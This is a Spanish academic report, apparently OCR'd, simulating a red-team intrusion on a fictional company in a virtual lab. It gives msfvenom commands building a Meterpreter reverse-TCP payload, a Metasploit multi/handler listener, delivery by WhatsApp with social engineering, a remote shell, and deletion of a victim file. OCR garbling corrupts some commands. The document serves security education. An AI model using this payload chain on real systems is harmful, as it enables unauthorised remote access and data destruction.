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GLOSARIO

AMENAZA: Posibilidad potencial de que de que se cause un dafio a un sistema,
equipo o usuario.

ALMACENAMIENTO: Capacidad que tienen los dispositivos informéticos de
guardar o almacenar datos o informacion.

ANTIVIRUS: Software informatico, capaz de robustecer un sistema y proteger un
equipo informatico, contra ciber ataques, malware, virus o cualquier codigo
malicioso que tenga como fin dafar el sistema o robar informacion.

ATAQUE: (Informatica) Fuerza exaltada y vehemente con la que un ciber criminal
o delincuente con la intencion de acceder, dafar, alterar, vulnerar, exponer o
sustraer activos, sistemas o similares.

CIBERDELINCUENTE: Persona con conocimientos en informatica o
ciberseguridad que realiza ataques, explotacion de vulnerabilidades o ingenieria
social, en contra de un sistema, persona o red del ciber espacio, configurandose en
un delito informatico.

CIBERESPACIO: Es el lugar o zona donde transcurre el mundo digital, en el se
encuentran los programas, personas, servicios 0 usuarios interactuando entre si
mediante una red o internet.

CIBERSEGURIDAD: Son métodos, practicas, estrategias o acciones que se toman
para brindar seguridad, mitigar riesgos de los sistemas, computadores o
aplicaciones en contra de un ciberdelincuente o cibercriminal.

HARDENING: Medidas implementadas por los administradores de un sistema de
cdmputo, con el fin de mejorar los aspectos débiles del mismo, mediante actividades
gue permitan fortalecer sus vulnerabilidades o riesgos, para evitar dafios o ataques
informéticos.

HARDWARE: (Informética) Son las partes tangibles o que se pueden tocar de un
sistema informatico, computador o red.



INFORMATICA: “La Informética es la disciplina o campo de estudio que abarca el
conjunto de conocimientos, métodos y técnicas referentes al tratamiento automatico
de la informacion, junto con sus teorias y aplicaciones practicas, con el fin de
almacenar, procesar y transmitir datos e informacién en formato digital utilizando
sistemas computacionales.™

RED: Grupo de computadores o equipos inteligentes conectados entre si, por medio
de una conexién, alambrica o inalambrica, en el que se comparten uno o varios
recursos.

RIESGO: Es la Probabilidad de que suceda una accién o eventualidad que pueda
generar un dafio, falla, perdida o malfuncionamiento en un equipo, sistema o red.

SISTEMA: Es la unién correlacionada de varias partes acordes, pudiendo ser
software o hardware con un fin determinado y complejo.

SOFTWARE: Es la parte que no se puede tocar, digital o intangible en un sistema
informatico, puede ser un sistema operativo, una aplicacion o un programa.

1 CABAL, Alejandro. Informatica o ciencia de la computacion [En Linea] 2019. Consultado el 10 de
agosto de 2023. Disponible en: http://www.pec.edu.co/blog/79-informatica-o-ciencia-de-la-
computacion#:~:text=%22L a%20Inform%C3%Altica%20es%20la%20disciplina,informaci%C3%B3
n%20en%20formato%20digital%20utilizando



http://www.pec.edu.co/blog/79-informatica-o-ciencia-de-la-computacion#:~:text=%22La%20Inform%C3%A1tica%20es%20la%20disciplina,informaci%C3%B3n%20en%20formato%20digital%20utilizando
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RESUMEN

En este informe se desarrollan las actividades necesarias que permiten recrear las
acciones llevadas a cabo por ciber criminales, en un equipo de un administrador de
HackerHouse expuesto a vulnerabilidades de seguridad informatica, utilizando un
banco de trabajo adecuado para este entorno.

De igual forma, se detallaran los procedimientos necesarios para realizar la
simulacion de este ataque, teniendo en cuenta las estrategias del grupo red team
en una organizacion afectada o vulnerada por el tipo de delitos informéticos
presentes en este ataque.

Asi mismo se identificaran los aspectos débiles del equipo afectado, para realizar
las contenciones necesarias, el fortalecimiento del mismo y las medidas preventivas
gue se puedan definir tanto para este equipo como para este tipo de organizacion.
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ABSTRACT

This report develops the necessary activities that allow us to recreate the actions
carried out by cyber criminals, on a HackerHouse administrator's computer exposed
to computer security vulnerabilities, using a workbench suitable for this environment.

Likewise, the procedures necessary to carry out the simulation of this attack will be
detailed, taking into account the strategies of the red team group in an organization
affected or violated by the type of computer crimes present in this attack.

Likewise, the weak aspects of the affected team will be identified, to carry out the
necessary containment, its strengthening and the preventive measures that can be
defined both for this team and for this type of organization.
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INTRODUCCION

Las leyes estan creadas con el fin de proteger los derechos de las todas personas;
pensando en ciberseguridad, las leyes creadas se enfocan en los sistemas
informéticos, la informacion que se crea, utiliza y alimenta, asi también protegiendo
los equipos que la almacenan, procesan o transmiten. Esta informacién puede ser
personal, comercial, financiera, publica, privada o sensible

Cuando se habla de informacion o en especifico de informética, es importante
resaltar, que se hace imprescindible abordar los temas concernientes a la seguridad
de la informacién y de los sistemas o partes que interactian con ella; en este informe
se planteara la forma en que un equipo de cédmputo perteneciente a un directivo de
la empresa HackerHouse tuvo una explotacion de las vulnerabilidades de sus
sistemas, se detallara las posibles herramientas y meétodos utilizados para poder
lograr este ataque en un ambiente simulado, utilizando medios virtualizados y
herramientas libres.

De igual forma, teniendo en cuenta lo esencial que es la informacion en una
empresa como activo vital de sus operaciones, se hace necesario establecer
métodos que permitan robustecer, mejorar la seguridad y los elementos de
proteccion que permitan mitigar las vulnerabilidades encontradas, como en este
caso, lo sucedido en los equipos de HackerHouse; por esto se simulara la actuacion
del grupo Blue team, con el fin de estar dispuestos a realizar las recomendaciones
necearias teniendo en cuenta los hallazgos del grupo Red team, para mejorar o
fortalecer los aspectos débiles encontrados.
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1 OBJETIVOS

1.1 OBJETIVOS GENERAL

Evaluar las acciones de los equipos Red Team en una organizacion vulnerada.

1.2 OBJETIVOS ESPECIFICOS

> Establecer un banco de trabajo, que permita simular un ataque a la empresa
HackerHouse, describiendo las herramientas principales a utilizar en las
pruebas de intrusién que se ejecuten, como realizan su contencion.

» Plantee politicas de seguridad y recomendaciones para mejorar los aspectos
de ciberseguridad en cualquier organizacion en sus entornos T.I.

» Reconocer los aspectos éticos y legales acordes a las pruebas realizadas.
» Indagar de qué manera pueden aportar en el campo de la ciberseguridad la

integracion de equipos blue team, red team y purple team al mismo tiempo
dentro de una organizacion.
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2 DESARROLLO DE LOS OBJETIVOS

2.1 ESTABLECER UN BANCO DE TRABAJO, QUE PERMITA SIMULAR UN
ATAQUE A LA EMPRESA HACKERHOUSE, DESCRIBIENDO LAS
HERRAMIENTAS PRINCIPALES A UTILIZAR EN LAS PRUEBAS DE
INTRUSION QUE SE EJECUTEN, COMO REALIZAN SU CONTENCION.

Para establecer el banco de trabajo se realiza la descarga de los sistemas; primero
se descarga Windows 10, para esto se utiliza la herramienta de la web oficial; Media
tools, se realiza la descarga de la imagen en formato ISO ver ilustraciones dela 1l a
la ilustracion 4.

llustracion 1 Descarga de media tools 10

@ microsoft.com Y
pe= MedieCrestionTool22H2 exe
Prmadad 0
[ Anexo - Escenano 1-1pdf
. S b
3 ! ;}"‘ Cuia de actividades y rabrica d...ceptos equipos de Sequnidad.pdf 5
estas deseando Instalar Windows 10 en tu PC 0 b
Para empezar necesitas tener una licencia para instalar Windows 10, y lueqo podrds descargar y ejecutar la [T Aneco !+ Escenario 1 pef
pe p y luego p qary € (X p )

"

herramienta de creacion de medios. Para obtener més informacion sobre cdmo utilizar la hetramienta,

consulta las instrucciones que se muestran abajo.

Descargar ahora la herramienta

Mogtrar todes las descargas

Fuente: Autor de este documento
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llustracién 2 Eleccién de ediciéon

Seleccione el idioma, la arquitectura y la
edicion

Seleccione una de las opciones disponibles para continuar.

Idioma espanol (México)
Edicion Windows 10
Arquitectura 64 bits (x64)

Usa las opciones recomendadas para este equipo

B Microsoft Soporte Oficio Atras Siguiente

Fuente: Autor de este documento

llustraciéon 3 Eleccion de formato
= pro grama de insta

L

!
|
W
{

lacion de Windows 10

Elija que medio usar

Si quieres instalar Windows 10 en otra particién, deberas crear y, después, gjecutar el medio para instalarlo.

O Unidad flash USB

Necesita ocupar 8 GB como minimo.

@ Archivo ISO

Necesitaras grabar el archivo ISO en un DVD mas tarde.

BS Microsoft Soporte Oficio Atras | | Siguiente

Fuente: Autor de este documento
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llustracién 4 Descarga de Windows 10

Descarga de Windows 10

Puede continuar usando su PC.

7. Progreso: 18%

Fuente: Autor de este documento

Se procede con la descarga e instalacion de Virtual Box, escogiendo la version para
Windows en este caso, ver ilustracion 5. Luego se descarga el sistema Kali desde
Su pagina escogiendo la version para Virtual Box, ver ilustracion 6.

llustracion 5 Virtual Box

VirtualBox

Pagina inicial ~ Indic
—

Download VirtualBox

Here you will find links to VirtualBox binaries and its source code.
VirtualBox binaries
By downloading, you agree to the terms and conditions of the respective license.

If you're looking for the latest VirtualBox 6.1 packages, see VirtualBox 6.1 builds. Version 6.1 will
remain supported until December 2023.

VirtualBox 7.0.10 platform packages

» =Windows hosts
macOS / Intel hosts

Linux distributions
Solaris hosts
»Solaris 11 IPS hosts

The binaries are released under the terms of the GPL version 3.

See the changelog for what has changed.

Fuente: Autor de éste dbcumenlto'
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llustracién 6 Descarga Kali Linux

Y @& kaliorg

piA B CURsOS [ PLATAFORMAS [ DRIVE [l HERRAMIENTAS

oo
oo

Installer Pre-built VMs ARM Mobile Cloud Containers Live Vv

[ ¢ 64-bit

.

VMware VirtualBox Hyper-V

|
&
&
o

torrent docs sum torrent docs sum torrent docs sum

Fuente: Autor de este documento

Una vez descargadas todas las herramientas y sistemas, se procede con la
instalacion de cada uno de los sistemas del banco de trabajo; con virtual Box ya
instalado se procede con la instalacion del Windows 10 y Kali Linux, ver ilustraciones
de la 7 a la ilustracion 9.

llustracion 7 Maquina Virtual Win 10

? =
Crear maquina virtual
Nombre y sistema operativo
Nombre: [WIN 10 BLUE & RED |
Carpeta de maquina: I C:\Users\y.prada.JANO\VirtualBox VMs o ’
. = z =,
Tipo: |Microsoft Windows i -,]..g
Version: |Windows 10 (64-bit) o
Tamario de memoria
' Z 2048 [T | MB

4 MB 16384 MB

Disco duro

(O No afiadir un disco duro virtual

(@) Crear un disco duro virtual ahora

(O Usar un archivo de disco duro virtual existente

GSM-TRIAL-21.04.9-VirtualBox-diskD0 1. vdi (Normal, 16,00 GBE)

Modo guiado Cancelar

Fuente: Autor de este documento.
[lustraciéon 8 Instalando Win 10
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¢ Programa de instalacién de Windows

Instalando Windows

Estado

ra instalacién (0%)

Fuente: Autor de este documento

llustracion 9 Instalacion de Kali Linux

L2 Herramien tas S =N S -

GSIM-TRIAL-21.04.9-VirtualBox 1
(& Guardada

TPOT
(&5 Guardada

WIN 10 BLUE & RED
<9 Corriendo

Kali GNU/Linux

od —_ Comienda SR 4 Advanced options for Kali

B/ BLOBIWLT

= & 8l

=P £ #] CTRL DERECHA

Descripcion

i)

Fuente: Autor de este documento

Como se observa en la ilustracion 9, Kali carga automaticamente ya que se
descarg6 una imagen para virtual box ya lista para usar, solo se importa el archivo
y automaticamente carga la Opcion de Kali Linux tipo live CD. Una vez los dos
sistemas estan en operacion, se realiza la configuracion en el Windows 10, para
este caso se desactiva el firewall y el Windows defender, ver ilustracion 10y 11.
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llustracién 10 Firewall desactivado

£

S RegrETuE T
B3 Reglas de salida

%, Supervision

~ | Windows Defenc

a Regla: de seguridad de con ‘ Windows Defender Firewall con seguridad avanzada proporciona segundad de red para equipos Windows @] Importar dir

Exportar din

Infonmacion general

Restaurar di

Perfil de dominio

Perfil pablico

@¥ Frewall de Windows Defender esta desactivado

5 Frewall de Windows Defender esta desactivado.

Diagnostica

Ver

El perfil privado esta activo. @ Actualizar

& Frewall de Windows Defender esta desactivado

Propiedade:
H Ayude

B} Propiedades de Firewal

de Windows Defender

Introduccién

entre

B3 Regas de segundad de

Var ta A -

Cree reglas de segundad de conexdn para especiicar cémo y cuando deben aut = y protegerse las
entre equipos por medio del protocoio de segundad de intemet (IPsec)

Ver y crear reglas de firewall

Cree reglas de firewall para parmitir o bloquear conexiones a programas o pusrtos especficados. Tambien puede pemitir
una conexdn 30io 3i 85ta autenticada o proviene de LN USUAN0. gIUPO © equIPS autonzado. De forma predeterminada.
las conexiones entrantes se bioquean & mencs que coincidan con una regha que las permita, y las conexiones sakentes
s= pemiten & menos que coincidan con una rega que 1as bloguee

S—

Ao o iPcar

Fuente: Autor de este documento.

I]ustracién 11 Windows Defender desactivado

| Proteccién en tiempo real |

Localiza el malware e impide que se instale o ejecute en el dispositivo.
Puedes desactivar esta opcién durante un breve periodo antes de que

vuelva a activarse automatica

La proteccién en tiempo
el dispositivo.

@ Desactivado

mente.

real est4 desactivada, lo que pone en riesgo

Proteccion basada en la nube

Proporciona una proteccién mayor y mas rapida con acceso a los datos de

proteccién mas recientes en |
automatico de muestras esta

a nube. Funciona mejor cuando el envio
activado.

A La proteccién basada en la nube esta desactivada. El Ignorar
dispositivo podria ser vulnerable.

@ Desactivado

Fuente: Autor de este documento.

Ya configurado el Windows 10, se configuran ambas maquinas con el adaptador de
red modo puente, y se les coloca la IP de la misma familia, ver ilustraciones 12 y 13
para el Windows 10; ver ilustracion 14 para el Kali Linux.
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llustracién 12 IP Windows 10

4 & « Redes eintemet > Conexiones de red ~ o
o
Organizar ~ Deshabilitar esf S >~ [
.: Ethernet »
~ Sentificand !
= dentificand
27 |Intel(R) PRO/1000 MT T Funciones de red
inte = e
1 Propiedades de Habilitar el protocolo de Internet versién 4 (TCP/IP... X
2 General
Esf Puede hacer que la configuracon IP se asigne automaticamente si la
Fat 4 red admite esta funconaldad. De lo contrario, debera consultar con e
§  administrador de red cusl es la configuracién IP apropiada.
s |
-<n 3 (O Obtener una direcadn IP automaticamente
5 @ Usar la siguiente direccén IP:
°g 3 Direccdn IP:
: Mascara de subred:
D 1 Puerta de enlace predetermnada: 192.168. 0 . 1
3
(@ Usar las siguientes direcdones de servidor DNS:
Servidor DNS preferido: 192 .168 . O 2
Servidor DNS alternativo: 8% 8 B v ¥
{ [[J vaiidar configuracén al salir Opdiones avanzadas...
1 elemento 1 elemento seleccionado
I Canceter
o ——

Fuente: Autor de este documento

llustracion 13 Verificacion de IP Win10
B[ EER D)

Fuente: Autor de este documento
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llustracién 14 IP Kali Linux

kali@kali: ~

File Actions Edit View Help

eth®: flaegs=4163<UP.BROADCAST .RUNNING.MULTICAST> mtu 1500
inet 192.168.0.230 netmask 255.255.255.0 broadcast 192.168.0.
1nets te80:: 38a5:de23:Db049:8360 pretixlen 64 scopeid O0x20<lar
ether 08:00:27:53:0c:ba txqueuelen 1000 (Ethernet)
RX packets 1525 bytes 130096 (127.0 KiB)
RX errors © dropped 21 overruns © frame ©
TX packets 42 bytes 13194 (12.8 KiB)
TX errors © dropped © overruns © carrier © collisions ©

lo: flags=73<UP,LOOPBACK, RUNNING> mtu 65536
inet 127.0.0.1 netmask 255.0.0.90
inet6 ::1 prefixlen 128 scopeid 9x10<host>
loop txqueuelen 1000 (Local Loopback)
RX packets 4 bytes 240 (240.0 B)
RX errors © dropped © overruns © frame ©
TX packets 4 bytes 240 (240.0 B)
TX errors © dropped @€ overruns © carrier @ collisions ©

Fuente: Autor de este documento

Como se observan en las ilustraciones 13 y 14, se valida que la maquina virtual con
Windows tiene la IP 192.168.0.228 Y Kali Linux la IP 192.168.0.230, adicional se
presentan las 2 maquinas virtuales corriendo sobre el mismo Host, ver ilustracion
15; se procede a realizar la comprobacion de comunicacién entre las 2 maquinas,
para esto se ejecuta el comando PING; desde el equipo Windows se escribe ping y
se coloca la IP 192.168.0.230, desde el equipo Kali Linux se coloca ping a la IP
192.168.0.228, el cual demuestra que los 2 equipos se comunican
satisfactoriamente entre si, ya que el ping se resuelve con respuesta desde el
equipo objetivo, con conexion satisfactoria y gracias a la desactivacion de la
seguridad en el equipo Windows 10 como se observo en las ilustraciones 10 y 11,
de esta forma las evidencias de esta conexidn se observan y validan en las
ilustraciones 16 y 17.
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llustracion 15 Maquinas virtuales Simultaneas
i &

Semporl-|- o a0

e ¥ C:\Windows\system32\cmd.exe
Screenshot taken

E kali@kaliz ~
File Actions Edit View Help

eth@: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
inet 192.168.0.230 netmask 255.255.255.0 broadcast 192.168.0.255
inet6 fe80 8a5:de23:b049:8360 prefixlen 64 scopeid @x20<link>
ether 08:00:27:53:0c:ba txqueuelen 1000 (Ethernet)
RX packets 3161 bytes 254382 (248.4 KiB)
RX errors @ dropped 48 overruns @ frame 0
TX packets 67 bytes 15224 (14.8 KiB)
TX errors @ dropped @ overruns @ carrier @ collision

cone

$=73<UP, LOOPBACK,RUNNING> mtu 65536
inet 7.0.0.1 netmask 255.0.0.0
inet6 ::1 prefixlen 128 scopeid @x10<host>
loop txqueuelen 1000 (Local Loopback)
X packets 4 bytes 240 (240.0 B)
errors @ dropped @ overruns @ frame @
packets 4 bytes 240 (240.0 B)
errors 0 dropped @ overruns @ carrier @ collisions

- 192.168.0.228

PING 192.168.0.228 (19 .0.228) 56(84) bytes of data.
64 bytes from .0. icmp_seq=113

64 bytes from .0.228: icmp_seq=114

64 bytes from 19 .0. icmp_seq=115

64 bytes from .0. icmp_seq=116

Fuente: Autor de este documento

[lustracion 16 Comunicacion de Windows a Kali
[= : ]

== CAWindows\system32\cmd.exe

Minimo oms, 1 oms, Media = ©Oms

5

ec la conexidn. .
direcci v6 cal. . . : fe8O:
IPv4. SRR -
subred . = - = = == =
predeterminada =
red team>pi 192 .168.0.2
de dato
empo<im
empo<ilm
empo<lm

Haciendo ping a 192.
Respuesta desde 192
Respuesta desde
Respuesta desde
Respuesta desde ] 3 tiempo<im

ettt
o e e 1

as de ping
s: enviados = recibidos aq perdidos
i perdidos),
iempos aproximados de ida y vuelta en milisegundo
Oms, Maximo = ©Oms, Media = ©Oms

team>_,

Fuente: Autor de este documento
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llustracién 17 Comunicaciéon de Kali a Windows
5l : : ]

kali@kali: ~

File Actions Edit View Help

ethe: flags=4163<UP,BROADCAST, RUNNING,MULTICAST> mtu 1500
inet 192.168.0.230 netmask 255.255.255.0 broadcast 192.168.0©.255
inet6 fe80 :: 38a5:de23:b049:8360 prefixlen 64 scopeid 9x20<link>
ether ©08:00:27:53:@c:ba txqueuelen 1000 (Ethernet)
RX packets 3161 bytes 254382 (248.4 KiB)
RX errors © dropped 48 overruns 0 frame ©
TX packets 67 bytes 15224 (14.8 KiB)
TX errors © dropped © overruns © carrier © collisions ©

lo: flags=73<UP, LOOPBACK, RUNNING> mtu 65536
inet 127.0.0.1 netmask 255.0.0.0
inet6 ::1 prefixlen 128 scopeid @x1@<host>
loop txqueuelen 1000 (Local Loopback)
RX packets 4 bytes 240 (240.0 B)
RX errors © dropped © overruns © frame @
TX packets 4 bytes 240 (240.© B)
TX errors © dropped ©® overruns © carrier © collisions ©

192.168.0.228
-168.0.228 (192.168.0.228) 56(84) bytes of data.
from 192.168.0.228: icmp_seg=113 ttl=128 time=7.13 ms
from 192.168.0. : dicmp_seg=114 ttl=128 time=0.389 ms
64 bytes from 192.168.0.228: icmp_seg=115 ttl=128 time=0.472 ms
~ 2 3 o 3 < )

Fuenfe: Autor de- éste document

2.1.1 Documentar los aspectos de la prueba de intrusién y la estructura
utilizada en la ejecucién del ataque, equipo Red Team.

Se describe a HackerHouse, como una empresa que presenta un incidente de
ciberseguridad, en este caso se trata de una vulneracion de seguridad en uno de
sus equipos informaticos; ocasionando perdida de informacion. Este incidente se
pudo determinar, ya que el administrador del equipo vulnerado o explotado, se
percat6 de la perdida en uno de sus archivos, el cual estaba en el escritorio de su
computador con Windows 10, adicional a este dato, informa que recibié un archivo
extrafio por WhatsApp por parte de uno de sus comparieros, el cual ejecuté antes
de sufrir la pérdida del archivo en cuestion

Adicional, el administrador informa que su equipo informéatico no tiene seguridad
activada, los escudos de proteccion del sistema operativo Windows 10 se
encuentran desactivados y no tiene ninguna proteccién adicional como antivirus o
cortafuegos; dejando en evidencia muy malas practicas en seguridad informatica.

Cabe resaltar, que como se exhibe este caso de ataque y lo narrado por la victima,
ademas del ataque al sistema, se pudo presentar ingenieria social; tanto para
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conocer el estado de la maquina como para convencer a la persona que realizara
la ejecucioén del archivo con el PAYLOAD. Asi también, es importante destacar que
este tipo de ataque se realizdé desde una maquina con la misma segmentacion de
red del equipo de la victima.

Teniendo en cuenta las consideraciones anteriores y las evidencias entregadas se
pueden determinar el actuar del criminal, recreando el ataque de forma préactica, es
por esto que segun las evidencias se puede determinar que el atacante utilizd
herramientas de escaneo y exploracion de vulnerabilidades como nmap o ipscan.

Una vez identificados los datos del punto anterior, se procede con la creacion del
PAYLOAD utilizando Kali linux, para esto se inicia sesion en una consola de Kali
modo root, se accede a la herramienta msfvenom para la creacion del archivo
P0C1121839582.exe mediante el comando “ msfevenom -p
windows/x64/meterpreter/reverse_tcp --plataform windows -a x64 LHOST -f >>
/home/kali/Documents/PoC_1121839582.exe” ver ilustraciones 18, 19, 20 y 21”
respectivamente. Se deben definir los parametros esenciales para la carga util
necesaria para esta explotacion: “Windows, a x64” como plataforma del sistema
operativo objetivo, meterpreter como Payload reversa que devuelve el control del
equipo, mediante el protocolo “TCP” por red, “-f ” indica que el archivo creado sera
.exe. “LHOST” indicando la IP local del atacante, LPORT el puerto de la maquina
Objetivo del ataque y por ultimo la ruta donde guardaréa el archivo, ver ilustracion
22.

llustracion 18 Usuario Root en Kali
- . ® . \J AN/

[sudo] password for kali:
/home/kali

Fuente: El autor de este documento
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[lustracién 19 Acceso a MFVENOM

/home/kali
windows/x64/

5T=192.168.0.230 LPORT=443
rsh: 1s a directory: /home/k

Fuente: El autor de este documento

llustracion 20 Creacion de archivo ".exe "
[home/kali
windows/x64/meterpreter/reverse_tcp —platforn windows -a x64 LHO
§T=192,168.0.230 LPORT=443 -f exe »» /home/kali/
2sh: s a directory: /home/kali/

[home/kali
| windows/x64/meterpreter/reverse_tcp FELGERONM windows B3 x64 LHOST=192.168.0.230 LPORT=443 Bf exe B /home/kali/Documents/PoC_112183958. exe

Fuente: El autor de este documento

llustracion 21 Payload Creado

/home/kali

Fuente: El autor de este documento

Como se observa en la ilustracion 21, ya teniendo el Payload creado y cargado en
un archivo “.exe”, se ubica el archivo dentro de Kali, el cual en este caso se dejo en
la carpeta documentos (ver ilustracion 22), como se definié en el cédigo anterior.
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llustracién 22 Ubicaciéon de archivo.exe
4 > ¢ A <« Akali Documents

Places
&= Computer

B kali
~ Desktop

@ Recent
' Trash
-

Documents

PoC_1121839582.e
xe

#) Music
o

Pictures
= Videos
@) Downloads
Devices
E File System
Network

[ Browse Network

"PoC_1121839582.exe" | 7.0KiB (7,168 bytes) | DOS/Windows executable

Fuente: El autor de este documento

Una vez creado el archivo con el PAYLOAD, Se utiliza Metasploit, para esto
cargamos la “msf console” (ver ilustracion 23) utilizando un exploit que escuche el
Payload que se creo con la consola msfvenom; parametrizandolo de tal forma que
tenga los datos de la maquina atacante y objetivo en uso del mismo Payload de
meterpreter reverse, este exploit es el “exploit/multi/lhandler’, se utiliza use
invocando al exploit y se selecciona reverse TCP de meterpreter mediante set
Payload, ver ilustracion 24..

llustracién 23 Consola Metasploit

N PO 2

root@kali: fhome/kali
File Actions Edit View Help

/home/kali

msfe > [

Fuente: El autor de este documento
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llustracion 24 Use exploit
msf6 > use exploit/multi/handler
Using configured pavload generic/shell reverse tcp
msf6 exploit( ) > set payload windows/x64/meterpreter/reverse_tcp
payLoaa = W1NaoOWS/Xb4/MeTerpreter/reverse_tcp
msf6 exploit( ) > B

Fuente: El autor de este documento

Asi mismo, mediante set se parametriza la IP de Kali y el puerto 443 de la maquina
objetivo, en este caso la Windows 10, (ver ilustracion 25 y 26) se ejecuta el exploit
de escucha, ver ilustracion 27.

llustracién 25 Set LHOST

msf6 exploit( ) > set lhost 192.168.0.230
lhost = 192.168.0.230

msf6 exploit( ) > B

Fuente: El autor de este documento

llustracion 26 Set LPORT

msf6 exploit( ) > set lport 443
lport = 443

msf6 exploit( ) > B

Fuente: El autor de este documento

llustracion 27 Exploit de escucha
msf6 exploit( ) > exploit

Started reverse TCP handler on 192.168.0.230:443

Fuente: El autor de este documento

Ya creado el PAYLOAD como ejecutable, el exploit de escucha corriendo, a la
espera y parametrizado de acuerdo con los datos de la maquina atacante y el
sistema objetivo, se envia archivo por WhatsApp a la victima (ver ilustracion 5) y se
convence mediante ingenieria social o phishing para que ejecute el archivo
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PoC_1121839582.exe para que la carga Util conecte con el exploit de meterpreter
reverse para su acceso remoto. Ver imagen 28.

llustracic’)n 28 Archivo descargado en maquina Windows 10

- b
M | @ whatsap web - Bisqueda ] > & WhatsApp > -+
< () (3] Ntips://web.whatsapp.com ) A 3 ch o=
@ i = | PoC_1121839582.exe
. m Inicio Compartir Vista
Q : aug € i < Descar... > PoC_1121839582.exe ~ [ J Buscar en PoC_11218

Nombre Fecha de modificacién Tipo
# Acceso rapido

iz [®7] PoC_1121839582. 23/08/2023 8:55 p. ¢ Aplica
Actualiz B E-critorio oC_ exe ,
Haz clic

¥ Descargas

*| Documentos

Fuente: El autor de este documento

Si, el proceso fue satisfactorio debe aparecer la siguiente ventana, ver imagen 29;
se muestra sesion abierta por el Payload y exploit.

llustracion 29 Exploit Satisfactorio

Started reverse TCP handler on 192.168.0.230:443
Sending stage (200774 bytes) to 192.168.0.228
Meterpreter session 1 opened (192.168.0.230:443 — 192.168.0.228:50871) at 20

23-08-23 23:13:49 -0400

Fuente: El autor de este documento

Se accede remotamente al equipo, validando sus datos con el comando “sysinfo”
(ver ilustracion 30) el acceso remoto a la maquina victima recuperando la
informacion propia del sistema victima.

llustracion 30 SYSINFO

meterpreter > sysinto

Computer : DESKTOP-OVFJV8S

0S : Windows 10 (10.0 Build 19045).
Architecture : x64

System Language : es_MX

Domain : WORKGROUP

Logged On Users : 2
Meterpreter : x64/windows
meterpreter > |j

Fuente: El autor de este documento
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Para finalizar esta prueba de intrusion, se ejecuta shell (ver ilustracién 31) el cual
permite ingresar directamente a linea de comandos de Windows en el equipo
objetivo desde Kali.

llustracion 31 Shell

meterpreter > shell
Process 3024 created.

Channel 1 created.
Microsoft Windows [Versien 10.0.19045.3324]

(c) Microsoft Corporation. Todos los derechos reservados.

C:\Users\red team\Downloads\PoC_1121839582.exe>}}

Fuente: El autor de este documento

De esta forma, estando en la instancia Shell, es posible ejecutar todo el comando
basico de Simbolo de sistema del Windows 10, con esto se validan los archivos del
escritorio mediante el comando “dir” (ver ilustracion 32), el cual muestra las carpetas
y archivos dentro del directorio del usuario, pero centrandose en el escritorio, el cual
es una locacion frecuente de cualquier usuario, para guardar archivos que estén
utilizando en el momento, y como lo explico la victima ahi tenia un archivo que ya
no existe.

[lustracion 32 Comando “dir”

C:\Users\red team>dir

dir
El volumen de la unidad C no tiene etiqueta.
El nemero de serie del volumen es: 20A4-F688

Directorio de C:\Users\red team

10/08/2023 ©6:12
10/08/2023 06:12
10/08/2023 ©06:10
10/08/2023 ©6:10
23/08/2023 ©9:34
10/V8/2023 ©Vb:.10
23/08/2023 ©8:55
10/08/2023 ©06:10
10/08/2023 ©6:10
10/08/2023 ©06:10
10/08/2023 ©6:12
10/08/2023 ©06:12
10/08/2023 ©0©6:10

.em. <DIR>
.*m. <DIR> Be
.em. <DIR> 3D Objects
.em. <DIR> Contacts
.*m. <DIR> Desktop
.em. <DIR> Documents
.em. <DIR> Downloads
.em. <DIR> Favorites
.em. <DIR> Links
.em. <DIR> Music
.em. <DIR> OneDrive
.em. <DIR> Pictures
.®m. <DIR> Saved Games
10/08/2023 06:12 .*m. <DIR> Searches
23/08/2023 ©8:18 .*m. <DIR> Videos

® archivos ® bytes

15 dirs 9.865.895.936 bytes libres

TTOTTUVTTOVTTUTUVTTUVTUVTUVTOUVTOVTOUTOVOVO

C:\Users\red team>f}

Fuente: El autor de este documento
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Se valida la informacion contenida dentro del escritorio, encontrando un archivo de
extension txt (ver imagen 33) y recientemente modificado, el cual va ser utilizado
para su borrado, y como se observa en la imagen 34, el archivo ya no se encuentra,
ya que se borr6 con el comando “del Yeiver_Prada.txt”; finalizando esta prueba del
equipo red team.

llustracion 33 Archivo TXT localizado
C:\Users\red team\Desktop>dir
dix
El volumen de la unidad C no tiene etiqueta.
EL nemero de serie del volumen es: 20A4-F688

Directorio de C:\Users\red team\Desktop

23/08/2023 9:34 -.om. <DIR>
23/08/2023 9:34 -.om. <DIR> e
l1e/e8/2023 ©6:10 .em. 2.354 Microsoft Edge.lnk
11/08/2023 10:01 .em. <DIR> Nueva carpeta
23/08/2023 P9:40 p.em. 24 Yeiver_ prada.txt

2 archivos 2.378 bytes

3 dirs 9.865.809.920 bytes libres

C:\Users\red team\Desktop>[]

Fuente: El autor de este documento

llustracion 34 Archivo Eliminado

Z:\Users\red team\Desktop>del Yeiver_ prada.txt
el Yeiver_ prada.txt

C:\Users\red team\Desktop>dir

dir
EL volumen de la unidad C no tiene etiqueta.
EL nemero de serie del volumen es: 20A4-F688

Directorio de C:\Users\red team\Desktop

23/08/2023 @9 :42 -om. <DIR>
23/08/2023 @9 :142 -om. <DIR> o
l1e/e8/2023 ©6:10 -om. 2.354 Microsoft Edge.lnk
11/0e8/2023 190:01 .om. <DIR> Nueva carpeta
1 archivos 2.354 bytes
3 dirs 9.865.732.096 bytes libres

C:\Users\red team\Desktop>|}

Fuente: El autor de este documento

2.1.2 Determinar las acciones para contener un ataque en tiempo

Para determinar el modelo o estrategia utilizada en el ataque recibido por el
administrador de Hacker House en su equipo informético, se hace necesario
representar graficamente esta intrusion, es por esto que se desarrollan los
diagramas de las pruebas realizadas en el numeral anterior, en el diagrama 1, se
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identifican tanto al equipo victima como el equipo atacante, la intervencion de
usuario y el transito del archivo “.exe” el cual lleva consigo el codigo malicioso del
PAYLOAD.

Una vez el usuario recibe el archivo “.exe”, se prepara a Kali, mediante el exploit
para escuchar, cuando es ejecutado el archivo “.exe”, se ejecuta el exploit y esta
captura la informacion del PAYLOAD, obteniendo el acceso remoto, ver diagramaz2.

Diagrama 1Etapa 1 de intrusion

SEGMENTO DE RED 192.168.0.0 /24

Ma

EXE

WhatsApp Web

a
Kali Linux MSFEVENOM
1P 192.168.0.230 LHOST: 192.168.0.230
LPORT: 443

Fuente: El autor de este documento

Diagrama 2 Etapa 2 de intrusion.

SEGMENTO DE RED 192.168.0.0 /24
x

-
EXE
Ejecucién de Archivo “.exe”

Expl,
1P 192.168.0. Ot My T
Sin segurid Andle,

Archivo TXT 4CCE.SQ Re,
Moy,

1P 192.168.0.230

My

